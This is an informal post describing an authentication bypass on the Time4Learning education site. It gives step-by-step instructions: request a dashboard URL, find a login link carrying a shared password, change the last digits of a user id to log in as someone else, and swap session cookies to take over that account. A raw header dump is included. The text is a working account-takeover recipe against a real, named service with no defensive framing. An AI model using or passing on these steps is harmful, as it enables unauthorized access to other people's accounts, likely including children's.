TImeforlearning Bypass Login

TimeForLearning Login Vuln Found By N,
                                                   (EXPLAIN)
U Have to Be  Login To a Account to Grab The Header/Red
But u Don't Have to be login to Login as someone Else.

This Can Cause Great Harm, Since a Person Could Login to there account, they could Grab there SES ID From Cookie's And Auto Login As that Person,

First U Want To Send a Get Request to : https://www.time4learning.com/App/Dashboards/Upper/#/courses


{HEADERS}
====================================================================
Tue, 12 Nov 2019 16:28:20 GMT
content-encoding
br
cf-cache-status
DYNAMIC
server
cloudflare
x-aspnet-version
4.0.30319
access-control-allow-origin
*
x-powered-by
expect-ct
max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-pingback
content-type
text/html; charset=utf-8
status
200
cache-control
private
cf-ray
5349e0e138dfec32-MFE
link
x-ua-compatible
IE=11
===================================================================
 (POC)

Once U See That ur Body Should Pop Up, then look for this text
http://www.time4learning.com/Login/Load_CompassLearning.aspx?u=&password=internet
u will have a PL id for the username change the last 3 dig to like 800
and boom u are login as someone else example
EXAMPLE : https://imgur.com/Glu2eLt

also since u are login as someone else u have ther PL ID and the Session Cookie so if u want to control there setting's and such just switch ur cookie's